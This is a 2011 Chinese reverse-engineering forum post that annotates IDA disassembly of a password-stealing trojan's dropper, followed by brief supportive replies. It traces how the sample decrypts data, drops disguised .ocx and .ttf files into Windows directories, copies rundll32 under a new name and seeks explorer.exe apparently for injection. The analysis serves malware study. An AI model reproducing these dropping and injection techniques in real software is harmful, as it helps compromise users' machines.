首页
社区
课程
招聘
[原创]分析一款盗号木马宿主文件解密及释放过程
发表于: 2011-6-13 15:56 5273

[原创]分析一款盗号木马宿主文件解密及释放过程

2011-6-13 15:56
5273

由于是第一次在论坛发贴,只是练练逆向的水平,..第一次分析这类病毒,不好的地方不要喷谢谢...
ida 分析如下:
  

UPX0:00401DA4 start proc near ; CODE XREF: UPX1:004136D8j
UPX0:00401DA4
UPX0:00401DA4 CommandLine= byte ptr -0B5Ch
UPX0:00401DA4 var_B5B= byte ptr -0B5Bh
UPX0:00401DA4 szCurrentModuleFileName= byte ptr -954h
UPX0:00401DA4 hFile= byte ptr -850h
UPX0:00401DA4 szGbvgbv07= byte ptr -74Ch
UPX0:00401DA4 NewFileName= byte ptr -648h
UPX0:00401DA4 FileName= byte ptr -544h
UPX0:00401DA4 Dest = byte ptr -440h
UPX0:00401DA4 szIme_Temp= byte ptr -33Ch
UPX0:00401DA4 hObject= byte ptr -238h
UPX0:00401DA4 Array_22E= byte ptr -22Eh
UPX0:00401DA4 szWindowsDirectory1= byte ptr -134h
UPX0:00401DA4 Array_127= byte ptr -127h
UPX0:00401DA4 szFileName= byte ptr -30h
UPX0:00401DA4 Exlorer.exe= byte ptr -1Ch
UPX0:00401DA4 var_1B= byte ptr -1Bh
UPX0:00401DA4 var_1A= byte ptr -1Ah
UPX0:00401DA4 var_19= byte ptr -19h
UPX0:00401DA4 var_18= byte ptr -18h
UPX0:00401DA4 var_17= byte ptr -17h
UPX0:00401DA4 var_16= byte ptr -16h
UPX0:00401DA4 var_15= byte ptr -15h
UPX0:00401DA4 var_14= byte ptr -14h
UPX0:00401DA4 var_13= byte ptr -13h
UPX0:00401DA4 var_12= byte ptr -12h
UPX0:00401DA4 var_11= byte ptr -11h
UPX0:00401DA4 var_10= byte ptr -10h
UPX0:00401DA4 SzFontsDir= byte ptr -0Ch
UPX0:00401DA4 nNumberOfBytesToWrite= byte ptr -4
UPX0:00401DA4
UPX0:00401DA4      push ebp
UPX0:00401DA5      mov ebp, esp
UPX0:00401DA7      sub esp, 2908
UPX0:00401DAD      push ebx
UPX0:00401DAE      push esi
UPX0:00401DAF      push edi
UPX0:00401DB0      push 62
UPX0:00401DB2      xor ebx, ebx
UPX0:00401DB4      pop ecx
UPX0:00401DB5      xor eax, eax
UPX0:00401DB7      lea edi, [ebp+Array_22E]
UPX0:00401DBD      mov [ebp+hObject], 'w'
UPX0:00401DC4      mov [ebp+hObject+1], 'i'
UPX0:00401DCB      mov [ebp+hObject+2], 'n'
UPX0:00401DD2      mov [ebp+hObject+3], 'n'
UPX0:00401DD9      mov [ebp+hObject+4], 't'
UPX0:00401DE0      mov [ebp+hObject+5], '.'
UPX0:00401DE7      mov [ebp+hObject+6], 'c'
UPX0:00401DEE      mov [ebp+hObject+7], 'o'
UPX0:00401DF5      mov [ebp+hObject+8], 'm'
UPX0:00401DFC      mov [ebp+hObject+9], bl
UPX0:00401E02      rep stosd
UPX0:00401E04      stosw
UPX0:00401E06      push 64
UPX0:00401E08      xor eax, eax
UPX0:00401E0A      pop ecx
UPX0:00401E0B      lea edi, [ebp+Dest+1]
UPX0:00401E11      mov [ebp+Dest], bl
UPX0:00401E17      mov esi, sprintf
UPX0:00401E1D      rep stosd
UPX0:00401E1F      stosw
UPX0:00401E21      stosb
UPX0:00401E22      push offset a005 ; "005"
UPX0:00401E27      lea eax, [ebp+Dest]
UPX0:00401E2D      push offset Format ; "dbr99%s.ocx"
UPX0:00401E32      push eax ; Dest
UPX0:00401E33      mov [ebp+nNumberOfBytesToWrite], 'T'
UPX0:00401E37      mov [ebp+nNumberOfBytesToWrite+1], 'L'
UPX0:00401E3B      mov [ebp+nNumberOfBytesToWrite+2], 'S'
UPX0:00401E3F      mov [ebp+nNumberOfBytesToWrite+3], bl
UPX0:00401E42      call esi ; sprintf ;
UPX0:00401E42     ; sprintf(&dest, "dbr99%s.ocx", "005"); 不知道为什么这样写.
UPX0:00401E42     ;
UPX0:00401E44      add esp, 0Ch
UPX0:00401E47      xor eax, eax
UPX0:00401E49      lea edi, [ebp+FileName+1]
UPX0:00401E4F      mov [ebp+FileName], bl
UPX0:00401E55      push 64
UPX0:00401E57      mov [ebp+szIme_Temp], bl
UPX0:00401E5D      pop ecx
UPX0:00401E5E      mov [ebp+szWindowsDirectory1], 'r'
UPX0:00401E65      rep stosd
UPX0:00401E67      stosw
UPX0:00401E69      stosb
UPX0:00401E6A      push 64
UPX0:00401E6C      xor eax, eax
UPX0:00401E6E      pop ecx
UPX0:00401E6F      lea edi, [ebp+szIme_Temp+1]
UPX0:00401E75      rep stosd
UPX0:00401E77      stosw
UPX0:00401E79      stosb ;
UPX0:00401E79     ; 以上代码是两个memset 260个元素的数组清0,加入了流水线乱序,看着比较郁闷
UPX0:00401E7A      push 61
UPX0:00401E7C      xor eax, eax
UPX0:00401E7E      pop ecx
UPX0:00401E7F      lea edi, [ebp+Array_127]
UPX0:00401E85      mov [ebp+szWindowsDirectory1+1], 'u'
UPX0:00401E8C      mov [ebp+szWindowsDirectory1+2], 'n'
UPX0:00401E93      mov [ebp+szWindowsDirectory1+3], 'd'
UPX0:00401E9A      mov [ebp+szWindowsDirectory1+4], 'l'
UPX0:00401EA1      mov [ebp+szWindowsDirectory1+5], 'l'
UPX0:00401EA8      mov [ebp+szWindowsDirectory1+6], '3'
UPX0:00401EAF      mov [ebp+szWindowsDirectory1+7], '2'
UPX0:00401EB6      mov [ebp+szWindowsDirectory1+8], '.'
UPX0:00401EBD      mov [ebp+szWindowsDirectory1+9], 'e'
UPX0:00401EC4      mov [ebp+szWindowsDirectory1+0Ah], 'x'
UPX0:00401ECB      mov [ebp+szWindowsDirectory1+0Bh], 'e'
UPX0:00401ED2      mov [ebp+szWindowsDirectory1+0Ch], bl
UPX0:00401ED8      rep stosd
UPX0:00401EDA      stosw
UPX0:00401EDC      stosb
UPX0:00401EDD      push 64
UPX0:00401EDF      xor eax, eax
UPX0:00401EE1      pop ecx
UPX0:00401EE2      lea edi, [ebp+szGbvgbv07+1]
UPX0:00401EE8      mov [ebp+szGbvgbv07], bl
UPX0:00401EEE      rep stosd
UPX0:00401EF0      stosw
UPX0:00401EF2      stosb
UPX0:00401EF3      call ChangeProcessToken ; 修改进程令牌权限
UPX0:00401EF8      mov edi, 260
UPX0:00401EFD      lea eax, [ebp+szCurrentModuleFileName]
UPX0:00401F03      push edi ; nSize
UPX0:00401F04      push eax ; lpFilename
UPX0:00401F05      push ebx ; hModule
UPX0:00401F06      call GetModuleFileNameA ;
UPX0:00401F06     ; 获取一个已装载模板的完整路径名称,hModule 为空则获取当前模块.
UPX0:00401F0C      lea eax, [ebp+szFileName]
UPX0:00401F0F      push offset aDbr07028 ; "dbr07028"
UPX0:00401F14      push eax ; Dest
UPX0:00401F15      call esi ; sprintf ;
UPX0:00401F15     ; sprintf(&szFileName, "dbr07028");
UPX0:00401F17      lea eax, [ebp+szFileName]
UPX0:00401F1A      push eax
UPX0:00401F1B      lea eax, [ebp+NewFileName]
UPX0:00401F21      push eax
UPX0:00401F22      call _mbscpy ;
UPX0:00401F22     ; _mbscpy(&NewFileName, &szFileName);
UPX0:00401F27      lea eax, [ebp+NewFileName]
UPX0:00401F2D      push offset a_ocx ; ".ocx"
UPX0:00401F32      push eax
UPX0:00401F33      call _mbscat ;
UPX0:00401F33     ; _mbscat(&NewFileName, ".ocx"); 字符串连接
UPX0:00401F38      lea eax, [ebp+NewFileName]
UPX0:00401F3E      push eax
UPX0:00401F3F      lea eax, [ebp+NewFileName]
UPX0:00401F45      push eax
UPX0:00401F46      call MyGetWindowsDirectory ;
UPX0:00401F46     ; 病毒作者, 这里不知道为什么传2个Newfilename的地址进去,都是传进传出值.
UPX0:00401F46     ; 得到 要生成木马的全部路径
UPX0:00401F4B      lea eax, [ebp+szCurrentModuleFileName]
UPX0:00401F51      push eax ; NumberOfBytesRead
UPX0:00401F52      call Decrypt_PostAddress ;
UPX0:00401F52     ; 对一些加密的数据进行的解密操作,并且检查是否程序被脱壳.
UPX0:00401F57      add esp, 24h
UPX0:00401F5A      lea eax, [ebp+hFile]
UPX0:00401F60      mov [ebp+SzFontsDir], '\'
UPX0:00401F64      mov [ebp+SzFontsDir+1], 'f'
UPX0:00401F68      push edi ; uSize
UPX0:00401F69      push eax ; lpBuffer
UPX0:00401F6A      mov [ebp+SzFontsDir+2], 'o'
UPX0:00401F6E      mov [ebp+SzFontsDir+3], 'n'
UPX0:00401F72      mov [ebp+SzFontsDir+4], 't'
UPX0:00401F76      mov [ebp+SzFontsDir+5], 's'
UPX0:00401F7A      mov [ebp+SzFontsDir+6], '\'
UPX0:00401F7E      mov [ebp+SzFontsDir+7], bl
UPX0:00401F81      call GetWindowsDirectoryA
UPX0:00401F87      lea eax, [ebp+SzFontsDir]
UPX0:00401F8A      push eax
UPX0:00401F8B      lea eax, [ebp+hFile]
UPX0:00401F91      push eax
UPX0:00401F92      call _mbscat ;
UPX0:00401F92     ; 合并目录,估计要在windows目录下创建这个目录.
UPX0:00401F97      lea eax, [ebp+szFileName]
UPX0:00401F9A      push eax
UPX0:00401F9B      lea eax, [ebp+hFile]
UPX0:00401FA1      push eax
UPX0:00401FA2      call _mbscat ;
UPX0:00401FA2     ; + "dbr07028"
UPX0:00401FA7      lea eax, [ebp+hFile]
UPX0:00401FAD      push offset a_ttf ; ".ttf"
UPX0:00401FB2      push eax
UPX0:00401FB3      call _mbscat ;
UPX0:00401FB3     ; +",ttf"
UPX0:00401FB8      lea eax, [ebp+hFile]
UPX0:00401FBE      push eax ; hFile
UPX0:00401FBF      call _CreateFile_Encryption
UPX0:00401FC4      mov edi, GetTickCount
UPX0:00401FCA      add esp, 1Ch
UPX0:00401FCD      call edi ; GetTickCount ; 取系统开机到目前的运行时间.貌似求随机数.
UPX0:00401FCF      push eax
UPX0:00401FD0      lea eax, [ebp+FileName]
UPX0:00401FD6      push offset a08xmdd_temp ; "%08Xmdd.temp"
UPX0:00401FDB      push eax ; Dest
UPX0:00401FDC      call esi ; sprintf ;
UPX0:00401FDC     ; sprintf(&eax, "%08xmdd.temp", eax);
UPX0:00401FDE      lea eax, [ebp+FileName]
UPX0:00401FE4      push eax
UPX0:00401FE5      lea eax, [ebp+FileName]
UPX0:00401FEB      push eax
UPX0:00401FEC      call GetTempPath_Set
UPX0:00401FF1      lea eax, [ebp+FileName]
UPX0:00401FF7      push eax ; lpFileName
UPX0:00401FF8      lea eax, [ebp+nNumberOfBytesToWrite]
UPX0:00401FFB      push 66h ; NumberOfBytesWritten
UPX0:00401FFD      push eax ; nNumberOfBytesToWrite
UPX0:00401FFE      push ebx ; hModule
UPX0:00401FFF      call CreateTempFile ;
UPX0:00401FFF     ; 传得是 CreateFile的参数..
UPX0:00402004      add esp, 24h
UPX0:00402007      lea eax, [ebp+NewFileName]
UPX0:0040200D      push 3 ; dwFlags
UPX0:0040200F      push eax ; lpNewFileName
UPX0:00402010      lea eax, [ebp+FileName]
UPX0:00402016      push eax ; lpExistingFileName
UPX0:00402017      call MoveFileExA ; 移动文件,替换原来的,目标存在覆盖.
UPX0:0040201D      call edi ; GetTickCount
UPX0:0040201F      push eax
UPX0:00402020      lea eax, [ebp+szIme_Temp]
UPX0:00402026      push offset a08xime_temp ; "%08Xime.temp"
UPX0:0040202B      push eax ; Dest
UPX0:0040202C      call esi ; sprintf ; 重复上面的创建临时文件的行为.
UPX0:0040202E      lea eax, [ebp+szIme_Temp]
UPX0:00402034      push eax
UPX0:00402035      lea eax, [ebp+szIme_Temp]
UPX0:0040203B      push eax
UPX0:0040203C      call GetTempPath_Set
UPX0:00402041      lea eax, [ebp+szIme_Temp]
UPX0:00402047      push eax ; lpFileName
UPX0:00402048      lea eax, [ebp+nNumberOfBytesToWrite]
UPX0:0040204B      push 65h ; NumberOfBytesWritten
UPX0:0040204D      push eax ; nNumberOfBytesToWrite
UPX0:0040204E      push ebx ; hModule
UPX0:0040204F      call CreateTempFile
UPX0:00402054      lea eax, [ebp+hObject]
UPX0:0040205A      push eax
UPX0:0040205B      lea eax, [ebp+hObject]
UPX0:00402061      push eax
UPX0:00402062      call MyGetWindowsDirectory
UPX0:00402067      add esp, 2Ch
UPX0:0040206A      lea eax, [ebp+hObject]
UPX0:00402070      push 3 ; dwFlags
UPX0:00402072      push eax ; lpNewFileName
UPX0:00402073      lea eax, [ebp+szIme_Temp]
UPX0:00402079      push eax ; lpExistingFileName
UPX0:0040207A      call MoveFileExA
UPX0:00402080      call edi ; GetTickCount
UPX0:00402082      push eax
UPX0:00402083      lea eax, [ebp+szIme_Temp]
UPX0:00402089      push offset a08xeime_temp ; "%08Xeime.temp"
UPX0:0040208E      push eax ; Dest
UPX0:0040208F      call esi ; sprintf
UPX0:00402091      lea eax, [ebp+szIme_Temp]
UPX0:00402097      push eax
UPX0:00402098      lea eax, [ebp+szIme_Temp]
UPX0:0040209E      push eax
UPX0:0040209F      call GetTempPath_Set
UPX0:004020A4      lea eax, [ebp+szIme_Temp]
UPX0:004020AA      push eax ; lpFileName
UPX0:004020AB      lea eax, [ebp+nNumberOfBytesToWrite]
UPX0:004020AE      push 67h ; NumberOfBytesWritten
UPX0:004020B0      push eax ; nNumberOfBytesToWrite
UPX0:004020B1      push ebx ; hModule
UPX0:004020B2      call CreateTempFile
UPX0:004020B7      lea eax, [ebp+Dest]
UPX0:004020BD      push eax
UPX0:004020BE      lea eax, [ebp+Dest]
UPX0:004020C4      push eax
UPX0:004020C5      call MyGetWindowsDirectory ; 得到系统目录.
UPX0:004020CA      add esp, 2Ch
UPX0:004020CD      lea eax, [ebp+Dest]
UPX0:004020D3      push 3 ; dwFlags
UPX0:004020D5      push eax ; lpNewFileName
UPX0:004020D6      lea eax, [ebp+szIme_Temp]
UPX0:004020DC      push eax ; lpExistingFileName
UPX0:004020DD      call MoveFileExA ; 把刚刚创建的szime的文件,复制到创建的文件夹下
UPX0:004020E3      lea eax, [ebp+szWindowsDirectory1]
UPX0:004020E9      push eax
UPX0:004020EA      lea eax, [ebp+szWindowsDirectory1]
UPX0:004020F0      push eax
UPX0:004020F1      call MyGetWindowsDirectory
UPX0:004020F6      lea eax, [ebp+szGbvgbv07]
UPX0:004020FC      push eax
UPX0:004020FD      push offset aGbvgbv07_exe ; "gbvgbv07.exe"
UPX0:00402102      call MyGetWindowsDirectory ; 此函数多次调用,每次调用都是对系统里创建了东西,具体可根据od载入分析.
UPX0:00402107      add esp, 10h
UPX0:0040210A      lea eax, [ebp+szGbvgbv07]
UPX0:00402110      push ebx ; bFailIfExists
UPX0:00402111      push eax ; lpNewFileName
UPX0:00402112      lea eax, [ebp+szWindowsDirectory1]
UPX0:00402118      push eax ; lpExistingFileName
UPX0:00402119      call CopyFileA
UPX0:0040211F      lea eax, [ebp+hObject]
UPX0:00402125      mov [ebp+Exlorer.exe], 'e'
UPX0:00402129      push eax ; hObject
UPX0:0040212A      lea eax, [ebp+Exlorer.exe]
UPX0:0040212D      push eax ; Exlorer.exe
UPX0:0040212E      mov [ebp+var_1B], 'x'
UPX0:00402132      mov [ebp+var_1A], 'p'
UPX0:00402136      mov [ebp+var_19], 'l'
UPX0:0040213A      mov [ebp+var_18], 'o'
UPX0:0040213E      mov [ebp+var_17], 'r'
UPX0:00402142      mov [ebp+var_16], 'e'
UPX0:00402146      mov [ebp+var_15], 'r'
UPX0:0040214A      mov [ebp+var_14], '.'
UPX0:0040214E      mov [ebp+var_13], 'e'
UPX0:00402152      mov [ebp+var_12], 'x'
UPX0:00402156      mov [ebp+var_11], 'e'
UPX0:0040215A      mov [ebp+var_10], bl
UPX0:0040215D      call FindExplorer ; explorer.exe 貌似想注入.
UPX0:00402162      mov ecx, 81h
UPX0:00402167      xor eax, eax
UPX0:00402169      lea edi, [ebp+var_B5B]
UPX0:0040216F      mov [ebp+CommandLine], bl
UPX0:00402175      rep stosd
UPX0:00402177      stosw
UPX0:00402179      stosb
UPX0:0040217A      lea eax, [ebp+NewFileName]
UPX0:00402180      push eax ; lpFileName
UPX0:00402181      call sub_401894
UPX0:00402186      mov esi, WsPrintf
UPX0:0040218C      add esp, 0Ch
UPX0:0040218F      test eax, eax
UPX0:00402191      jz short loc_4021C5
UPX0:00402193      lea eax, [ebp+szCurrentModuleFileName]
UPX0:00402199      push eax ; _DWORD
UPX0:0040219A      lea eax, [ebp+NewFileName]
UPX0:004021A0      push eax ; _DWORD
UPX0:004021A1      lea eax, [ebp+szGbvgbv07]
UPX0:004021A7      push eax ; _DWORD
UPX0:004021A8      lea eax, [ebp+CommandLine]
UPX0:004021AE      push offset aSSPfjaoidjglka ; "%s %s pfjaoidjglkajd %s"
UPX0:004021B3      push eax ; _DWORD
UPX0:004021B4      call esi ; WsPrintf
UPX0:004021B6      lea eax, [ebp+CommandLine]
UPX0:004021BC      push eax ; lpCommandLine
UPX0:004021BD      call sub_401CAC
UPX0:004021C2      add esp, 18h
UPX0:004021C5
UPX0:004021C5 loc_4021C5: ; CODE XREF: start+3EDj
UPX0:004021C5      lea eax, [ebp+Dest]
UPX0:004021CB      push eax ; lpFileName
UPX0:004021CC      call sub_401894
UPX0:004021D1      test eax, eax
UPX0:004021D3      pop ecx
UPX0:004021D4      jz short loc_402201
UPX0:004021D6      lea eax, [ebp+Dest]
UPX0:004021DC      push eax ; _DWORD
UPX0:004021DD      lea eax, [ebp+szGbvgbv07]
UPX0:004021E3      push eax ; _DWORD
UPX0:004021E4      lea eax, [ebp+CommandLine]
UPX0:004021EA      push offset aSSPfjieaoidjgl ; "%s %s pfjieaoidjglkajd"
UPX0:004021EF      push eax ; _DWORD
UPX0:004021F0      call esi ; WsPrintf
UPX0:004021F2      lea eax, [ebp+CommandLine]
UPX0:004021F8      push eax ; lpCommandLine
UPX0:004021F9      call sub_401CAC
UPX0:004021FE      add esp, 14h
UPX0:00402201
UPX0:00402201 loc_402201: ; CODE XREF: start+430j
UPX0:00402201      push ebx ; uExitCode
UPX0:00402202      call ExitProcess
UPX0:00402208 ; ---------------------------------------------------------------------------
UPX0:00402208      push 1
UPX0:0040220A      pop eax
UPX0:0040220B      pop edi
UPX0:0040220C      pop esi
UPX0:0040220D      pop ebx
UPX0:0040220E      leave
UPX0:0040220E start endp ; sp-analysis failed
UPX0:0040220E
UPX0:0040220F      retn 10h

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (4)
雪    币: 19
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
。。讲不很不错,,学习了,,支持下
2011-6-13 18:27
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
支持下
2011-6-13 19:11
0
雪    币: 16
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
感谢支持, 如果写的不好请指出.

我感觉我排版很垃圾.
2011-6-13 19:30
0
雪    币: 224
活跃值: (55)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
5
支持,下来看看。
2011-6-13 19:48
0
游客
登录 | 注册 方可回帖
返回
//